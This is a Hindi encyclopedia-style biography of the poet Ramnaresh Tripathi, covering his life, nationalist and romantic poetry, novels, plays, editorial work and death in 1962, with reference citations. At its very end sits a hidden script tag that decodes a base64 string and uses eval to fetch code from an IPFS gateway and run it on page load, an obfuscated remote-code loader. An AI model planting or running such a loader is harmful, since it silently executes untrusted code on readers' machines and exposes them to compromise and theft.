पंडित त्रिपाठी में कविता के प्रति रुचि प्राथमिक शिक्षा प्राप्त करते समय जाग्रत हुई थी। वह कलकत्ता में संक्रामक रोग हो जाने की वजह से अधिक समय तक नहीं रह सके। वह स्वास्थ्य सुधार के लिए एक व्यक्ति की सलाह मानकर जयपुर के सीकर ठिकाना स्थित फतेहपुर ग्राम में 'सेठ रामवल्लभ नेवरिया' के पास चले गए। यह एक संयोग ही था कि मरणासन्न स्थिति में वह अपने घर परिवार में न जाकर सुदूर अपरिचित स्थान राजपूताना के एक अजनबी परिवार में जा पहुँचे जहाँ शीघ्र ही इलाज व स्वास्थ्यप्रद जलवायु पाकर रोगमुक्त हो गए। पंडित त्रिपाठी ने सेठ रामवल्लभ के पुत्रों की शिक्षा-दीक्षा की ज़िम्मेदारी को कुशलतापूर्वक निभाया। इस दौरान उनकी लेखनी पर मां सरस्वती की मेहरबानी हुई और उन्होंने “हे प्रभो! आनन्ददाता..” जैसी बेजोड़ रचना कर डाली जो आज भी अनेक स्कूलों में प्रार्थना के रूप में गाई जाती है।[2]
साहित्य साधना की शुरुआत
पंडित त्रिपाठी की साहित्य साधना की शुरुआत फतेहपुर में होने के बाद उन्होंने उन दिनों तमाम छोटे-बड़े बालोपयोगी काव्य संग्रह, सामाजिक उपन्यास और हिन्दी महाभारत लिखे। उन्होंने हिन्दी तथा संस्कृत के सम्पूर्ण साहित्य का गहन अध्ययन किया। पंडित त्रिपाठी ज्ञान एवं अनुभव की संचित पूंजी लेकर वर्ष 1915 में पुण्यतीर्थ एवं ज्ञानतीर्थ प्रयाग गए और उसी क्षेत्र को उन्होंने अपनी कर्मस्थली बनाया। उन्होंने थोड़ी पूंजी से प्रकाशन का व्यवसाय भी आरम्भ किया। पंडित त्रिपाठी ने गद्य और पद्य दोनों में रचनाएँ की तथा मौलिकता के नियम को ध्यान में रखकर रचनाओं को अंजाम दिया। हिन्दी जगत में वह मार्गदर्शी साहित्यकार के रूप में अवरित हुए और सारे देश में लोकप्रिय हो गए।
हिन्दी के प्रथम एवं सर्वोत्कृष्ट राष्ट्रीय खण्डकाव्य “पथिक” की रचना उन्होंने वर्ष 1920 में 21 दिन में की। इसके अतिरिक्त उनके प्रसिद्ध मौलिक खण्डकाव्यों में “मिलन” और “स्वप्न” भी शामिल हैं। उन्होंने बड़े परिश्रम से 'कविता कौमुदी' के सात विशाल एवं अनुपम संग्रह-ग्रंथों का भी सम्पादन एवं प्रकाशन किया। पंडित त्रिपाठी कलम के धनी ही नहीं बल्कि कर्मशूर भी थे। महात्मा गाँधी के निर्देश पर त्रिपाठी जी हिन्दी साहित्य सम्मेलन के प्रचार मंत्री के रूप में हिन्दी जगत के दूत बनकर दक्षिण भारत गए थे। वह पक्के गांधीवादी देशभक्त और राष्ट्र सेवक थे। स्वाधीनता संग्राम और किसान आन्दोलनों में भाग लेकर वह जेल भी गए। पंडित त्रिपाठी को अपने जीवन काल में कोई राजकीय सम्मान तो नहीं मिला पर उससे भी कही ज़्यादा गौरवपद लोक सम्मान तथा अक्षय यश उन पर अवश्य बरसा।[2]
स्वच्छन्दतावादी कवि
रामनरेश त्रिपाठी स्वच्छन्दतावादी भावधारा के कवि के रूप में प्रतिष्ठित हुए हैं। इनसे पूर्व श्रीधर पाठक ने हिन्दी कविता में स्वच्छन्दतावाद (रोमाण्टिसिज्म) को जन्म दिया था। रामनरेश त्रिपाठी ने अपनी रचनाओं द्वारा उक्त परम्परा को विकसित किया और सम्पन्न बनाया। देश प्रेम तथा राष्ट्रीयता की अनुभूतियाँ इनकी रचनाओं का मुख्य विषय रही हैं। हिन्दी कविता के मंच पर ये राष्ट्रीय भावनाओं के गायक के रूप में बहुत लोकप्रिय हुए। प्रकृति-चित्रण में भी इन्हें अदभुत सफलता प्राप्त हुई है।
काव्य कृतियाँ
इनकी चार काव्य कृतियाँ उल्लेखनीय हैं-
- 'मिलन' (1918 ई.)
- 'पथिक' (1921 ई.)
- 'मानसी' (1927 ई.)
- 'स्वप्न' (1929 ई.)। इनमें 'मानसी' फुटकर कविताओं का संग्रह है और शेष तीनों कृतियाँ प्रेमाख्यानक खण्डकाव्य है।
खण्ड काव्य
रामनरेश त्रिपाठी ने खण्ड काव्यों की रचना के लिए किन्हीं पौराणिक अथवा ऐतिहासिक कथा सूत्रों का आश्रय नहीं लिया है, वरन् अपनी कल्पना शक्ति से मौलिक तथा मार्मिक कथाओं की सृष्टि की है। कवि द्वारा निर्मित होने के कारण इन काव्यों के चरित्र बड़े आकर्षक हैं और जीवन के साँचे में ढाले हुए जान पड़ते हैं। इन तीनों ही खण्ड काव्यों की एक सामान्य विशेषता यह है कि इनमें देशभक्ति की भावनाओं का समावेश बहुत ही सरसता के साथ किया गया है। उदाहरण के लिए 'स्वप्न' नामक खण्ड काव्य को लिया जा सकता है। इसका नायक वसन्त नामक नवयुवक एक ओर तो अपनी प्रिया के प्रगाढ़ प्रेम में लीन रहना चाहता है, मनोरम प्रकृति के क्रोड़ में उसके साहचर्य-सुख की अभिलाषा करता है और दूसरी ओर समाज का दुख-दर्द दूर करने के लिए राष्ट्रोद्धार की भावना से आन्दोलित होता रहता है। उसके मन में इस प्रकार का अन्तर्द्वन्द बहुत समय तक चलता है। अन्तत: वह अपनी प्रिया के द्वारा प्रेरित किये जाने पर राष्ट्र प्रेम को प्राथमिकता देता है और शत्रुओं द्वारा पदाक्रान्त स्वेदश की रक्षा एवं उद्धार करने में सफल हो जाता है। इस प्रकार की भावनाओं से परिपूर्ण होने के कारण रामनरेश त्रिपाठी के काव्य बहुत दिनों तक राष्ट्रप्रेमी नवयुवकों के कण्ठहार बन हुए थे।
- प्रकृति चित्रण
रामनरेश त्रिपाठी अपनी काव्य कृतियों में प्रकृति के सफल चितेरे रहे हैं। इन्होंने प्रकृति चित्रण व्यापक, विशद और स्वतंत्र रूप में किया है। इनके सहज-मनोरम प्रकृति-चित्रों में कहीं-कहीं छायावाद की झलक भी मिल जाती है। उदाहरण के लिए 'पथिक' की दो पंक्तियाँ द्रष्टव्य हैं-
“प्रति क्षण नूतन वेष बनाकर रंग-विरंग निराला।
रवि के सम्मुख थिरक रही है नभ में वारिद माला”
भाषा
प्रकृति चित्र हों, या अन्यान्य प्रकार के वर्णन, सर्वत्र रामनरेश त्रिपाठी ने भाषा का बहुत ख्याल रखा है। इनके काव्यों की भाषा शुद्ध, सहज खड़ी बोली है, जो इस रूप में हिन्दी काव्य में प्रथम बार प्रयुक्त दिखाई देती है। इनमें व्याकरण तथा वाक्य-रचना सम्बन्धी त्रुटियाँ नहीं मिलतीं। इन्होंने कहीं-कहीं उर्दू के प्रचलित शब्दों और उर्दू-छन्दों का भी व्यवहार किया है-
“मेरे लिए खड़ा था दुखियों के द्वार पर तू।
मैं बाट जोहता था तेरी किसी चमन में।।
बनकर किसी के आँसू मेरे लिए बहा तू।
मैं देखता तुझे था माशूक के बदन में”।।
कृतियाँ
- उपन्यास तथा नाटक
रामनरेश त्रिपाठी ने काव्य-रचना के अतिरिक्त उपन्यास तथा नाटक लिखे हैं, आलोचनाएँ की हैं और टीका भी। इनके तीन उपन्यास उल्लेखनीय हैं-
- 'वीरागंना' (1911 ई.),
- 'वीरबाला' (1911 ई.),
- 'लक्ष्मी' (1924 ई.)
- नाट्य कृतियाँ
तीन उल्लेखनीय नाट्य कृतियाँ हैं-
- 'सुभद्रा' (1924 ई.),
- 'जयन्त' (1934 ई.),
- 'प्रेमलोक' (1934 ई.)
|
|
|
अन्य कृतियाँ
आलोचनात्मक कृतियों के रूप में इनकी दो पुस्तकें 'तुलसीदास और उनकी कविता' तथा 'हिन्दी साहित्य का संक्षिप्त इतिहास' विचारणीय हैं। टीकाकार के रूप में अपनी 'रामचरितमानस की टीका' के कारण स्मरण किये जाते हैं। 'तीस दिन मालवीय जी के साथ' त्रिपाठी जी की उत्कृष्ट संस्मरणात्मक कृति है। इनके साहित्यिक कृतित्व का एक महत्त्वपूर्ण भाग सम्पादन कार्यों के अंतर्गत आता है। सन् 1925 ई. में इन्होंने हिन्दी, उर्दू, संस्कृत और बांग्ला की लोकप्रिय कविताओं का संकलन और सम्पादन किया। इनका यह कार्य आठ भागों में 'कविता कौमुदी' के नाम से प्रकाशित हुआ है। इसी में एक भाग ग्राम-गीतों का है। ग्राम-गीतों के संकलन, सम्पादन और उनके भावात्मक भाष्य प्रस्तुत करने की दृष्टि से इनका कार्य विशेष रूप से उल्लेखनीय रहा है। ये हिन्दी में इस दिशा में कार्य करने वाले पहले व्यक्ति रहे हैं और इन्हें पर्याप्त सफलता तथा कीर्ति मिली है। 1931 से 1941 ई. तक इन्होंने 'वानर' का सम्पादन तथा प्रकाशन किया था। इनके द्वारा सम्पादित और मौलिक रूप में लिखित बालकोपयोगी साहित्य भी बहुत अधिक मात्रा में उपलब्ध है।
प्रसिद्धि
रामनरेश त्रिपाठी की प्रसिद्धि मुख्यत: इनके कवि-रूप के कारण हुई। ये 'द्विवेदीयुग' और 'छायावाद युग' की महत्त्वपूर्ण कड़ी के रूप में आते हैं। पूर्व छायावाद युग के खड़ी बोली के कवियों में इनका नाम बहुत आदर से लिया जाता है। इनका प्रारम्भिक कार्य-क्षेत्र राजस्थान और इलाहाबाद रहा। इन्होंने अन्तिम जीवन सुल्तानपुर में बिताया।
मृत्यु
रामनरेश त्रिपाठी ने 16 जनवरी, 1962 को अपने कर्मभूमि प्रयाग में ही अंतिम सांस ली। पंडित त्रिपाठी के निधन के बाद आज उनके गृह जनपद सुलतानपुर में एक मात्र सभागार स्थापित है जो उनकी स्मृतियों को ताजा करता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- पुस्तक- हिंदी साहित्य कोश भाग-2, पृष्ठ- 516-517, लेखक- डॉ. धीरेंद्र वर्मा, प्रकाशक- ज्ञानमण्डल लिमिटेड, वाराणसी
- ↑ रामनरेश त्रिपाठी (हिन्दी) (एच.टी.एम.एल) ब्रांड बिहार। अभिगमन तिथि: 10 फ़रवरी, 2011।
- ↑ 2.0 2.1 रामनरेश त्रिपाठी (हिन्दी) (एच टी एम एल) कविता कोश। अभिगमन तिथि: 18 अप्रैल, 2011।
- ↑ रामनरेश त्रिपाठी (हिन्दी) काव्यालय। अभिगमन तिथि: 18 अप्रैल, 2011।
- ↑ रामनरेश त्रिपाठी (हिन्दी) (एच टी एम एल) सत्संग पॉइंट। अभिगमन तिथि: 18 अप्रैल, 2011।
- ↑ रामनरेश त्रिपाठी (हिन्दी) (एच टी एम) अनुभूति। अभिगमन तिथि: 18 अप्रैल, 2011।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>